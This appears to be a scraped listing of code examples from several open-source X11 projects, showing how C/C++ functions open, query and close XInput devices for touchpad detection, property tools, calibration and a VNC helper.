Example #1
0
int
check_device(XDeviceInfo *info)
{
	XDevice *device;
	Atom type;
	int format;
	unsigned long nitems, nbytes;
	unsigned char *retval;

	if (verbose)
		printf("Checking device %lu: %s...", info->id, info->name);
	device = XOpenDevice(display, info->id);
	XGetDeviceProperty(display,
			   device, prop_calibration,
			   0, 4, False,
			   XA_INTEGER, &type, &format,
			   &nitems, &nbytes, &retval);
	XCloseDevice(display, device);
	if (nitems != 4) {
		if (verbose)
			printf("can't be calibrated\n");
		return False;
	}
	if (verbose)
		printf("can be calibrated\n");
	return True;
}
Example #2
0
static XDevice *
dp_get_device(Display * dpy)
{
    XDevice *dev = NULL;
    XDeviceInfo *info = NULL;
    int ndevices = 0;
    Atom touchpad_type = 0;
    Atom synaptics_property = 0;
    Atom *properties = NULL;
    int nprops = 0;
    int error = 0;

    touchpad_type = XInternAtom(dpy, XI_TOUCHPAD, True);
    synaptics_property = XInternAtom(dpy, SYNAPTICS_PROP_EDGES, True);
    info = XListInputDevices(dpy, &ndevices);

    while (ndevices--) {
        if (info[ndevices].type == touchpad_type) {
            dev = XOpenDevice(dpy, info[ndevices].id);
            if (!dev) {
                fprintf(stderr, "Failed to open device '%s'.\n",
                        info[ndevices].name);
                error = 1;
                goto unwind;
            }

            properties = XListDeviceProperties(dpy, dev, &nprops);
            if (!properties || !nprops) {
                fprintf(stderr, "No properties on device '%s'.\n",
                        info[ndevices].name);
                error = 1;
                goto unwind;
            }

            while (nprops--) {
                if (properties[nprops] == synaptics_property)
                    break;
            }
            if (!nprops) {
                fprintf(stderr, "No synaptics properties on device '%s'.\n",
                        info[ndevices].name);
                error = 1;
                goto unwind;
            }

            break;              /* Yay, device is suitable */
        }
    }

 unwind:
    XFree(properties);
    XFreeDeviceList(info);
    if (!dev)
        fprintf(stderr, "Unable to find a synaptics device.\n");
    else if (error && dev) {
        XCloseDevice(dpy, dev);
        dev = NULL;
    }
    return dev;
}
XDevice*
device_is_touchpad (XDeviceInfo deviceinfo)
{
        XDevice *device;
        Atom realtype, prop;
        int realformat;
        unsigned long nitems, bytes_after;
        unsigned char *data;

        if (deviceinfo.type != XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), XI_TOUCHPAD, False))
                return NULL;

        prop = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Off", False);
        if (!prop)
                return NULL;

        gdk_error_trap_push ();
        device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), deviceinfo.id);
        if (gdk_error_trap_pop () || (device == NULL))
                return NULL;

        gdk_error_trap_push ();
        if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop, 0, 1, False,
                                XA_INTEGER, &realtype, &realformat, &nitems,
                                &bytes_after, &data) == Success) && (realtype != None)) {
                gdk_error_trap_pop ();
                XFree (data);
                return device;
        }
        gdk_error_trap_pop ();

        XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
        return NULL;
}
Example #4
0
static int
delete_prop_xi1(Display *dpy, int argc, char** argv, char* n, char *desc)
{
    XDevice     *dev;
    XDeviceInfo *info;
    char        *name;
    Atom        prop;

    info = find_device_info(dpy, argv[0], False);
    if (!info)
    {
        fprintf(stderr, "unable to find device %s\n", argv[0]);
        return EXIT_FAILURE;
    }

    dev = XOpenDevice(dpy, info->id);
    if (!dev)
    {
        fprintf(stderr, "unable to open device '%s'\n", info->name);
        return EXIT_FAILURE;
    }

    name = argv[1];

    prop = parse_atom(dpy, name);

    XDeleteDeviceProperty(dpy, dev, prop);

    XCloseDevice(dpy, dev);
    return EXIT_SUCCESS;
}
static gboolean
device_type_is_present (InfoIdentifyFunc info_func,
                        DeviceIdentifyFunc device_func)
{
    XDeviceInfo *device_info;
    gint n_devices;
    guint i;
    gboolean retval;

    if (supports_xinput_devices () == FALSE)
        return TRUE;

    retval = FALSE;

    device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices);
    if (device_info == NULL)
        return FALSE;

    for (i = 0; i < n_devices; i++) {
        XDevice *device;

        /* Check with the device info first */
        retval = (info_func) (&device_info[i]);
        if (retval == FALSE)
            continue;

        /* If we only have an info func, we're done checking */
        if (device_func == NULL)
            break;

        gdk_error_trap_push ();
        device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id);
        if (gdk_error_trap_pop () || (device == NULL))
            continue;

        retval = (device_func) (device);
        if (retval) {
            XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
            break;
        }

        XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
    }
    XFreeDeviceList (device_info);

    return retval;
}
void
teardown (void)
{
    if (device)
        XCloseDevice(GDK_DISPLAY(), device);
    g_clear_error(&error);
    g_clear_error(&expected_error);
}
static gboolean
find_synaptics (void)
{
	gboolean ret = FALSE;
#ifdef HAVE_XINPUT
	int numdevices, i;
	XDeviceInfo *devicelist;
	Atom realtype, prop;
	int realformat;
	unsigned long nitems, bytes_after;
	unsigned char *data;
	XExtensionVersion *version;

	/* Input device properties require version 1.5 or higher */
	version = XGetExtensionVersion (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), "XInputExtension");
	if (!version->present ||
		(version->major_version * 1000 + version->minor_version) < 1005) {
		XFree (version);
		return False;
	}

	prop = XInternAtom (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), "Synaptics Off", True);
	if (!prop)
		return False;

	devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), &numdevices);
	for (i = 0; i < numdevices; i++) {
		if (devicelist[i].use != IsXExtensionPointer)
			continue;

		gdk_error_trap_push();
		XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()),
					       devicelist[i].id);
		if (gdk_error_trap_pop ())
			continue;

		gdk_error_trap_push ();
		if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device, prop, 0, 1, False,
					 XA_INTEGER, &realtype, &realformat, &nitems,
					 &bytes_after, &data) == Success) && (realtype != None)) {
			XFree (data);
			ret = TRUE;
		}
		gdk_error_trap_pop ();

		XCloseDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device);

		if (ret)
			break;
	}

	XFree (version);
	XFreeDeviceList (devicelist);
#endif
	return ret;
}
int
main(int argc, char *argv[])
{
    int c;
    int delay = -1;
    int do_monitor = 0;
    int dump_settings = 0;
    int first_cmd;

    Display *dpy;
    XDevice *dev;

    if (argc == 1)
        dump_settings = 1;

    /* Parse command line parameters */
    while ((c = getopt(argc, argv, "sm:hlV")) != -1) {
	switch (c) {
	case 'm':
	    do_monitor = 1;
	    if ((delay = atoi(optarg)) < 0)
		usage();
	    break;
	case 'l':
	    dump_settings = 1;
	    break;
	case 'V':
	    printf("%s\n", VERSION);
	    exit(0);
	default:
	    usage();
	}
    }

    first_cmd = optind;
    if (!do_monitor && !dump_settings && first_cmd == argc)
	usage();

    /* Connect to the shared memory area */
    if (do_monitor)
        shm_process_commands(do_monitor, delay);

    dpy = dp_init();
    if (!dpy || !(dev = dp_get_device(dpy)))
        return 1;

    dp_set_variables(dpy, dev, argc, argv, first_cmd);
    if (dump_settings)
        dp_show_settings(dpy, dev);

    XCloseDevice(dpy, dev);
    XCloseDisplay(dpy);

    return 0;
}
gboolean
touchpad_is_present (void)
{
        XDeviceInfo *device_info;
        gint n_devices;
        guint i;
        gboolean retval;

        if (supports_xinput_devices () == FALSE)
                return TRUE;

        retval = FALSE;

        device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices);
        if (device_info == NULL)
                return FALSE;

        for (i = 0; i < n_devices; i++) {
                XDevice *device;

                gdk_error_trap_push ();
                device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id);
                if (gdk_error_trap_pop () || (device == NULL))
                        continue;

                retval = device_is_touchpad (device);
                if (retval) {
                        XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
                        break;
                }

                XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
        }
        XFreeDeviceList (device_info);

        return retval;
}
Example #10
0
static int
list_props_xi1(Display *dpy, int argc, char** argv, char* name, char *desc)
{
    XDeviceInfo *info;
    XDevice     *dev;
    int          i;
    int         nprops;
    Atom        *props;

    if (argc == 0)
    {
        fprintf(stderr, "Usage: xinput %s %s\n", name, desc);
        return EXIT_FAILURE;
    }

    for (i = 0; i < argc; i++)
    {
        info = find_device_info(dpy, argv[i], False);
        if (!info)
        {
            fprintf(stderr, "unable to find device %s\n", argv[i]);
            continue;
        }

        dev = XOpenDevice(dpy, info->id);
        if (!dev)
        {
            fprintf(stderr, "unable to open device '%s'\n", info->name);
            continue;
        }

        props = XListDeviceProperties(dpy, dev, &nprops);
        if (!nprops)
        {
            printf("Device '%s' does not report any properties.\n", info->name);
            continue;
        }

        printf("Device '%s':\n", info->name);
        while(nprops--)
        {
            print_property(dpy, dev, props[nprops]);
        }

        XFree(props);
        XCloseDevice(dpy, dev);
    }
    return EXIT_SUCCESS;
}
static void
synaptics_check_capabilities (GtkBuilder *dialog)
{
#ifdef HAVE_XINPUT
	int numdevices, i;
	XDeviceInfo *devicelist;
	Atom realtype, prop;
	int realformat;
	unsigned long nitems, bytes_after;
	unsigned char *data;

	prop = XInternAtom (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), "Synaptics Capabilities", True);
	if (!prop)
		return;

	devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), &numdevices);
	for (i = 0; i < numdevices; i++) {
		if (devicelist[i].use != IsXExtensionPointer)
			continue;

		gdk_error_trap_push ();
		XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()),
					       devicelist[i].id);
		if (gdk_error_trap_pop ())
			continue;

		gdk_error_trap_push ();
		if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device, prop, 0, 2, False,
					 XA_INTEGER, &realtype, &realformat, &nitems,
					 &bytes_after, &data) == Success) && (realtype != None)) {
			/* Property data is booleans for has_left, has_middle,
			 * has_right, has_double, has_triple */
			if (!data[0]) {
				gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (WID ("tap_to_click_toggle")), TRUE);
				gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), FALSE);
			}

			if (!data[3])
				gtk_widget_set_sensitive (WID ("scroll_twofinger_radio"), FALSE);

			XFree (data);
		}
		gdk_error_trap_pop ();

		XCloseDevice (GDK_DISPLAY_XDISPLAY(gdk_display_get_default()), device);
	}
	XFreeDeviceList (devicelist);
#endif
}
static void
synaptics_check_capabilities (GtkBuilder *dialog)
{
	int numdevices, i;
	XDeviceInfo *devicelist;
	Atom realtype, prop;
	int realformat;
	unsigned long nitems, bytes_after;
	unsigned char *data;

	prop = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Capabilities", True);
	if (!prop)
		return;

	devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &numdevices);
	for (i = 0; i < numdevices; i++) {
		if (devicelist[i].use != IsXExtensionPointer)
			continue;

		gdk_error_trap_push ();
		XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()),
					       devicelist[i].id);
		if (gdk_error_trap_pop ())
			continue;

		gdk_error_trap_push ();
		if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop, 0, 2, False,
					 XA_INTEGER, &realtype, &realformat, &nitems,
					 &bytes_after, &data) == Success) && (realtype != None)) {
			/* Property data is booleans for has_left, has_middle, has_right, has_double, has_triple.
			 * Newer drivers (X.org/kerrnel) will also include has_pressure and has_width. */
			if (!data[0]) {
				gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), FALSE);
			}

			/* Disable two finger scrolling unless the hardware supports
			 * double touch */
			if (!(data[3]))
				gtk_widget_set_sensitive (WID ("two_finger_scroll_toggle"), FALSE);

			XFree (data);
		}
		gdk_error_trap_pop_ignored ();

		XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
	}
	XFreeDeviceList (devicelist);
}
Example #13
0
int watch_props(Display *dpy, int argc, char** argv, char* n, char *desc)
{
    XDevice     *dev;
    XDeviceInfo *info;
    XEvent      ev;
    XDevicePropertyNotifyEvent *dpev;
    char        *name;
    int         type_prop;
    XEventClass cls_prop;

    if (list_props(dpy, argc, argv, n, desc) != EXIT_SUCCESS)
        return EXIT_FAILURE;

    info = find_device_info(dpy, argv[0], False);
    if (!info)
    {
        fprintf(stderr, "unable to find device %s\n", argv[0]);
        return EXIT_FAILURE;
    }

    dev = XOpenDevice(dpy, info->id);
    if (!dev)
    {
        fprintf(stderr, "unable to open device '%s'\n", info->name);
        return EXIT_FAILURE;
    }

    DevicePropertyNotify(dev, type_prop, cls_prop);
    XSelectExtensionEvent(dpy, DefaultRootWindow(dpy), &cls_prop, 1);

    while(1)
    {
        XNextEvent(dpy, &ev);

        dpev = (XDevicePropertyNotifyEvent*)&ev;
        if (dpev->type != type_prop)
            continue;

        name = XGetAtomName(dpy, dpev->atom);
        printf("Property '%s' changed.\n", name);
        print_property(dpy, dev, dpev->atom);
    }

    XCloseDevice(dpy, dev);
}
Example #14
0
int
main(int argc, char *argv[])
{
    int c;
    int dump_settings = 0;
    int first_cmd;

    Display *dpy;
    XDevice *dev;

    if (argc == 1)
        dump_settings = 1;

    /* Parse command line parameters */
    while ((c = getopt(argc, argv, "lV?")) != -1) {
        switch (c) {
        case 'l':
            dump_settings = 1;
            break;
        case 'V':
            printf("%s\n", VERSION);
            exit(0);
        case '?':
        default:
            usage();
        }
    }

    first_cmd = optind;
    if (!dump_settings && first_cmd == argc)
        usage();

    dpy = dp_init();
    if (!dpy || !(dev = dp_get_device(dpy)))
        return 1;

    dp_set_variables(dpy, dev, argc, argv, first_cmd);
    if (dump_settings)
        dp_show_settings(dpy, dev);

    XCloseDevice(dpy, dev);
    XCloseDisplay(dpy);

    return 0;
}
Example #15
0
void
cleanup_exit(XDevice *device)
{
	long values[4];

	values[0] = old_calib.minx;
	values[1] = old_calib.maxx;
	values[2] = old_calib.miny;
	values[3] = old_calib.maxy;

	XChangeDeviceProperty(display, device, prop_calibration,
	    XA_INTEGER, 32, PropModeReplace, (unsigned char *)values, 4);

	XChangeDeviceProperty(display, device, prop_swap,
	    XA_INTEGER, 8, PropModeReplace, (unsigned char *)&old_swap, 1);

	XCloseDevice(display, device);
	XUngrabServer(display);
	XUngrabKeyboard(display, CurrentTime);
	XCloseDisplay(display);
	exit(1);
}
Example #16
0
  void executeCommand(Display	*dpy, XDeviceInfo *info, const char *command, unsigned char data)
  {
    if (!info)
    {
      fprintf(stderr, "unable to find the device\n");
      return;
    }

    XDevice *dev = XOpenDevice(dpy, info->id);
    if (!dev)
    {
      fprintf(stderr, "unable to open the device\n");
      return;
    }

    Atom prop = XInternAtom(dpy, command, False);

    XChangeDeviceProperty(dpy, dev, prop, XA_INTEGER, 8, PropModeReplace,
                          &data, 1);

    XCloseDevice(dpy, dev);
  }
XDevice*
device_is_touchpad (XDeviceInfo *deviceinfo)
{
        GdkDisplay *display;
        XDevice *device;

        display = gdk_display_get_default ();
        if (deviceinfo->type != XInternAtom (GDK_DISPLAY_XDISPLAY (display), XI_TOUCHPAD, True))
                return NULL;

        gdk_x11_display_error_trap_push (display);
        device = XOpenDevice (GDK_DISPLAY_XDISPLAY (display), deviceinfo->id);
        if (gdk_x11_display_error_trap_pop (display) || (device == NULL))
                return NULL;

        if (device_has_property (device, "libinput Tapping Enabled") ||
            device_has_property (device, "Synaptics Off")) {
                return device;
        }

        XCloseDevice (GDK_DISPLAY_XDISPLAY (display), device);
        return NULL;
}
Example #18
0
int
main(int argc, char *argv[])
{
    int c;
    int delay = -1;
    int do_monitor = 0;
    int dump_hw = 0;
    int dump_settings = 0;
    int use_shm = 1;
    int first_cmd;

#ifdef HAVE_PROPERTIES
    use_shm = 0;
#endif

    /* Parse command line parameters */
    while ((c = getopt(argc, argv, "sm:hlV")) != -1) {
	switch (c) {
	case 's':
	    use_shm = 1;
	    break;
	case 'm':
	    use_shm = 1;
	    do_monitor = 1;
	    if ((delay = atoi(optarg)) < 0)
		usage();
	    break;
	case 'h':
	    use_shm = 1;
	    dump_hw = 1;
	    break;
	case 'l':
	    dump_settings = 1;
	    break;
	case 'V':
//	    printf("%s\n", VERSION);
	    exit(0);
	default:
	    usage();
	}
    }

    first_cmd = optind;
    if (!do_monitor && !dump_hw && !dump_settings && first_cmd == argc)
	usage();

    /* Connect to the shared memory area */
    if (use_shm)
    {
	SynapticsSHM *synshm = NULL;

	synshm = shm_init();
	if (!synshm)
	    return 1;

	/* Perform requested actions */
	if (dump_hw)
	    shm_show_hw_info(synshm);

	shm_set_variables(synshm, argc, argv, first_cmd);

	if (dump_settings)
	    shm_show_settings(synshm);
	if (do_monitor)
	    shm_monitor(synshm, delay);
    }
#ifdef HAVE_PROPERTIES
    else /* Device properties */
    {
	Display *dpy;
	XDevice *dev;

	dpy = dp_init();
	if (!dpy || !(dev = dp_get_device(dpy)))
	    return 1;

	dp_set_variables(dpy, dev, argc, argv, first_cmd);
	if (dump_settings)
	    dp_show_settings(dpy, dev);

	XCloseDevice(dpy, dev);
	XCloseDisplay(dpy);
    }
#endif

    return 0;
}
Example #19
0
JNIEXPORT void JNICALL Java_com_turbovnc_vncviewer_Viewport_setupExtInput
  (JNIEnv *env, jobject obj)
{
  jclass cls, eidcls;
  jfieldID fid;
  jmethodID mid;
  Display *dpy = NULL;
  Window win = 0;
  XDeviceInfo *devInfo = NULL;
  XDevice *device = NULL;
  int nDevices = 0, i, ci, ai, nEvents = 0;
  int buttonPressType = -1, buttonReleaseType = -1, motionType = -1;
  XEventClass events[100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1};
  jobject extInputDevice;

  if ((dpy = XOpenDisplay(NULL)) == NULL)
    _throw("Could not open X display");

  bailif0(cls = (*env)->GetObjectClass(env, obj));
  bailif0(fid = (*env)->GetFieldID(env, cls, "x11win", "J"));
  if ((win = (Window)(*env)->GetLongField(env, obj, fid)) == 0)
    _throw("X window handle has not been initialized");

  if ((devInfo = XListInputDevices(dpy, &nDevices)) == NULL)
    _throw("Could not list XI devices");

  for (i = 0; i < nDevices; i++) {
    char *type;
    XAnyClassPtr classInfo = devInfo[i].inputclassinfo;
    CARD32 canGenerate = 0, productID = 0;

    if (devInfo[i].use != IsXExtensionPointer)
      continue;
    if (devInfo[i].type == None)
      continue;
    type = XGetAtomName(dpy, devInfo[i].type);
    if (!strcmp(type, "MOUSE"))  {
      XFree(type);
      continue;
    }
    /* TurboVNC-specific:  we use productID to represent the device type, so
       we can recreate it on the server */
    if (!strcmp(type, "CURSOR"))
      productID = rfbGIIDevTypeCursor;
    else if (!strcmp(type, "STYLUS"))
      productID = rfbGIIDevTypeStylus;
    else if (!strcmp(type, "ERASER"))
      productID = rfbGIIDevTypeEraser;
    else if (!strcmp(type, "TOUCH"))
      productID = rfbGIIDevTypeTouch;
    else if (!strcmp(type, "PAD"))
      productID = rfbGIIDevTypePad;
    XFree(type);

    bailif0(eidcls =
            (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice"));
    bailif0(extInputDevice = (*env)->AllocObject(env, eidcls));

    SET_STRING(eidcls, extInputDevice, name, devInfo[i].name);
    SET_LONG(eidcls, extInputDevice, vendorID, 4242);
    SET_LONG(eidcls, extInputDevice, productID, productID);
    SET_LONG(eidcls, extInputDevice, id, devInfo[i].id);

    for (ci = 0; ci < devInfo[i].num_classes; ci++) {

      switch (classInfo->class) {

        case ButtonClass:
        {
          XButtonInfoPtr b = (XButtonInfoPtr)classInfo;
          SET_INT(eidcls, extInputDevice, numButtons, b->num_buttons);
          canGenerate |= rfbGIIButtonPressMask | rfbGIIButtonReleaseMask;
          break;
        }

        case ValuatorClass:
        {
          XValuatorInfoPtr v = (XValuatorInfoPtr)classInfo;
          jclass valcls;

          bailif0(valcls = (*env)->FindClass(env,
                  "com/turbovnc/rfb/ExtInputDevice$Valuator"));

          if (v->mode == Absolute)
            canGenerate |= rfbGIIValuatorAbsoluteMask;
          else if (v->mode == Relative)
            canGenerate |= rfbGIIValuatorRelativeMask;

          for (ai = 0; ai < v->num_axes; ai++) {
            jobject valuator;
            XAxisInfoPtr a = &v->axes[ai];
            char longName[75], shortName[5];

            bailif0(valuator = (*env)->AllocObject(env, valcls));
            SET_INT(valcls, valuator, index, ai);
            snprintf(longName, 75, "Valuator %d", ai);
            SET_STRING(valcls, valuator, longName, longName);
            snprintf(shortName, 5, "%d", ai);
            SET_STRING(valcls, valuator, shortName, shortName);
            SET_INT(valcls, valuator, rangeMin, a->min_value);
            SET_INT(valcls, valuator, rangeCenter,
                    (a->min_value + a->max_value) / 2);
            SET_INT(valcls, valuator, rangeMax, a->max_value);
            SET_INT(valcls, valuator, siUnit, rfbGIIUnitLength);
            SET_INT(valcls, valuator, siDiv, a->resolution);

            bailif0(mid = (*env)->GetMethodID(env, eidcls, "addValuator",
                    "(Lcom/turbovnc/rfb/ExtInputDevice$Valuator;)V"));
            (*env)->CallVoidMethod(env, extInputDevice, mid, valuator);
          }
          break;
        }
      }
      classInfo = (XAnyClassPtr)((char *)classInfo + classInfo->length);
    }

    SET_LONG(eidcls, extInputDevice, canGenerate, canGenerate);
    if (canGenerate & rfbGIIValuatorAbsoluteMask)
      SET_BOOL(eidcls, extInputDevice, absolute, 1);

    if ((device = XOpenDevice(dpy, devInfo[i].id)) == NULL)
      _throw("Could not open XI device");

    for (ci = 0; ci < device->num_classes; ci++) {
      if (device->classes[ci].input_class == ButtonClass) {
        DeviceButtonPress(device, buttonPressType, events[nEvents]);
        nEvents++;
        DeviceButtonRelease(device, buttonReleaseType, events[nEvents]);
        nEvents++;
      } else if (device->classes[ci].input_class == ValuatorClass) {
        DeviceMotionNotify(device, motionType, events[nEvents]);
        nEvents++;
      }
    }
    XCloseDevice(dpy, device);  device=NULL;

    bailif0(mid = (*env)->GetMethodID(env, cls, "addInputDevice",
            "(Lcom/turbovnc/rfb/ExtInputDevice;)V"));
    (*env)->CallVoidMethod(env, obj, mid, extInputDevice);
  }

  XFreeDeviceList(devInfo);  devInfo = NULL;
  if (nEvents == 0) {
    printf("No extended input devices.\n");
    goto bailout;
  }

  if (XSelectExtensionEvent(dpy, win, events, nEvents))
    _throw("Could not select XI events");

  SET_INT(cls, obj, buttonPressType, buttonPressType);
  SET_INT(cls, obj, buttonReleaseType, buttonReleaseType);
  SET_INT(cls, obj, motionType, motionType);
  SET_LONG(cls, obj, x11dpy, (jlong)dpy);

  printf("TurboVNC Helper: Listening for XInput events on %s (window 0x%.8x)\n",
         DisplayString(dpy), (unsigned int)win);

  bailout:
  if (dpy && device) XCloseDevice(dpy, device);
  if (devInfo) XFreeDeviceList(devInfo);
}
int main (int argc, char **argv)
{
	gboolean supports_xinput;
	gboolean has_touchpad, has_touchscreen, has_trackball;
        XDeviceInfo *device_info;
        gint n_devices, opcode;
        guint i;

	gtk_init (&argc, &argv);

	supports_xinput = supports_xinput_devices ();
	if (supports_xinput) {
		g_print ("Supports XInput:\t\t\tyes\n");
	} else {
		g_print ("Supports XInput:\t\t\tno\n");
		return 0;
	}
	supports_xinput = supports_xinput2_devices (&opcode);
	if (supports_xinput) {
		g_print ("Supports XInput2:\t\t\tyes (opcode: %d)\n", opcode);
	} else {
		g_print ("Supports XInput2:\t\t\tno\n");
		return 0;
	}

	has_touchpad = touchpad_is_present ();
	g_print ("Has touchpad:\t\t\t\t%s\n", has_touchpad ? "yes" : "no");

	has_touchscreen = touchscreen_is_present ();
	g_print ("Has touchscreen:\t\t\t%s\n", has_touchscreen ? "yes" : "no");

	has_trackball = trackball_is_present ();
	g_print ("Has trackball:\t\t\t\t%s\n", has_trackball ? "yes" : "no");

        device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices);
        if (device_info == NULL) {
		g_warning ("Has no input devices");
                return 1;
	}

	print_disabled_devices ();

        for (i = 0; i < n_devices; i++) {
                XDevice *device;

		if (device_info_is_touchscreen (&device_info[i])) {
			g_print ("Device %d is touchscreen:\t\t%s\n", (int) device_info[i].id, "yes");
			continue;
		}
		if (device_info_is_trackball (&device_info[i])) {
			g_print ("Device %d is trackball:\t\t\t%s\n", (int) device_info[i].id, "yes");
			continue;
		}
		if (device_info_is_tablet (&device_info[i])) {
			g_print ("Device %d is tablet:\t\t\t%s\n", (int) device_info[i].id, "yes");
			continue;
		}

                gdk_error_trap_push ();
                device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id);
                if (gdk_error_trap_pop () || (device == NULL))
                        continue;

                if (device_is_touchpad (device))
			g_print ("Device %d is touchpad:\t\t%s\n", (int) device_info[i].id, "yes");
		else {
			int tool_id;

			tool_id = xdevice_get_last_tool_id (device_info[i].id);
			if (tool_id >= 0x0)
				g_print ("Device %d is touchpad/touchscreen:\t%s (tool ID: 0x%x)\n", (int) device_info[i].id, "no", tool_id);
			else
				g_print ("Device %d is touchpad/touchscreen:\t%s\n", (int) device_info[i].id, "no");
		}

                XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
        }
        XFreeDeviceList (device_info);

	return 0;
}
Example #21
0
// Constructor
CalibratorEvdev::CalibratorEvdev(const char* const device_name0,
                                 const XYinfo& axys0,
                                 XID device_id,
                                 const int thr_misclick,
                                 const int thr_doubleclick,
                                 const OutputType output_type,
                                 const char* geometry,
                                 const bool use_valuator,
                                 const bool use_timeout,
                                 const char* output_filename)
  : Calibrator(device_name0, axys0, thr_misclick, thr_doubleclick, output_type, geometry, use_timeout, output_filename)
{
    // init
    display = XOpenDisplay(NULL);
    if (display == NULL) {
        throw WrongCalibratorException("Evdev: Unable to connect to X server");
    }

    // normaly, we already have the device id
    if (device_id == (XID)-1) {
        devInfo = xinput_find_device_info(display, device_name, False);
        if (!devInfo) {
            XCloseDisplay(display);
            throw WrongCalibratorException("Evdev: Unable to find device");
        }
        device_id = devInfo->id;
    }

    dev = XOpenDevice(display, device_id);
    if (!dev) {
        XCloseDisplay(display);
        throw WrongCalibratorException("Evdev: Unable to open device");
    }

#ifndef HAVE_XI_PROP
    throw WrongCalibratorException("Evdev: you need at least libXi 1.2 and inputproto 1.5 for dynamic recalibration of evdev.");
#else

    // XGetDeviceProperty vars
    Atom            property;
    Atom            act_type;
    int             act_format;
    unsigned long   nitems, bytes_after;
    unsigned char   *data, *ptr;

    // get "Evdev Axis Calibration" property
    property = xinput_parse_atom(display, "Evdev Axis Calibration");
    if (XGetDeviceProperty(display, dev, property, 0, 1000, False,
                           AnyPropertyType, &act_type, &act_format,
                           &nitems, &bytes_after, &data) != Success)
    {
        XCloseDevice(display, dev);
        XCloseDisplay(display);
        throw WrongCalibratorException("Evdev: \"Evdev Axis Calibration\" property missing, not a (valid) evdev device");

    } else {
        if (act_format != 32 || act_type != XA_INTEGER) {
            XCloseDevice(display, dev);
            XCloseDisplay(display);
            throw WrongCalibratorException("Evdev: invalid \"Evdev Axis Calibration\" property format");

        } else if (use_valuator) {
            int ndevices = 0, i, j;
            XIDeviceInfo *info = XIQueryDevice(display, device_id, &ndevices);

            if (ndevices != 1) {
                XCloseDevice(display, dev);
                XCloseDisplay(display);
                throw WrongCalibratorException("Evdev: unknown Xinput device ID???");
            }

            for (i = 0; i < ndevices; i++) {
                XIDeviceInfo *dev = &info[i];

                for (j = 0; j < dev->num_classes; j++) {
                    switch(dev->classes[i]->type) {
                    case XIValuatorClass:
                    {
                        XIValuatorClassInfo *v = (XIValuatorClassInfo*)dev->classes[i];

                        /* Valuator 0 = X, Valuator 1 = Y, others are ignored */
                        switch (v->number) {
                        case 0:
                            old_axys.x.min = v->min;
                            old_axys.x.max = v->max;
                            old_axys.x.invert = false;
                            break;
                        case 1:
                            old_axys.y.min = v->min;
                            old_axys.y.max = v->max;
                            old_axys.y.invert = false;
                            break;
                        default:
                            break;
                        }
                        break;
                    }
                    default:
                        break;
                    }
                }
            }
            XIFreeDeviceInfo(info);

            if (verbose)
                printf("DEBUG: Evdev Axis Calibration set to axis valuators\n");
            (void) set_calibration(old_axys);

        } else if (nitems == 0) {
            if (verbose)
                printf("DEBUG: Evdev Axis Calibration not set, setting to axis valuators to be sure.\n");

            // No axis calibration set, set it to the default one
            // QUIRK: when my machine resumes from a sleep,
            // the calibration property is no longer exported through xinput, but still active
            // not setting the values here would result in a wrong first calibration
            (void) set_calibration(old_axys);

        } else if (nitems > 0) {
            ptr = data;

            old_axys.x.min = *((long*)ptr);
            ptr += sizeof(long);
            old_axys.x.max = *((long*)ptr);
            ptr += sizeof(long);
            old_axys.y.min = *((long*)ptr);
            ptr += sizeof(long);
            old_axys.y.max = *((long*)ptr);
            ptr += sizeof(long);
        }

        XFree(data);
    }

    // get "Evdev Axes Swap" property
    property = xinput_parse_atom(display, "Evdev Axes Swap");
    if (XGetDeviceProperty(display, dev, property, 0, 1000, False,
                           AnyPropertyType, &act_type, &act_format,
                           &nitems, &bytes_after, &data) == Success)
    {
        if (act_format == 8 && act_type == XA_INTEGER && nitems == 1) {
            old_axys.swap_xy = *((char*)data);

            if (verbose)
                printf("DEBUG: Read axes swap value of %i.\n", old_axys.swap_xy);
        }
    }

    // get "Evdev Axes Inversion" property
    property = xinput_parse_atom(display, "Evdev Axis Inversion");
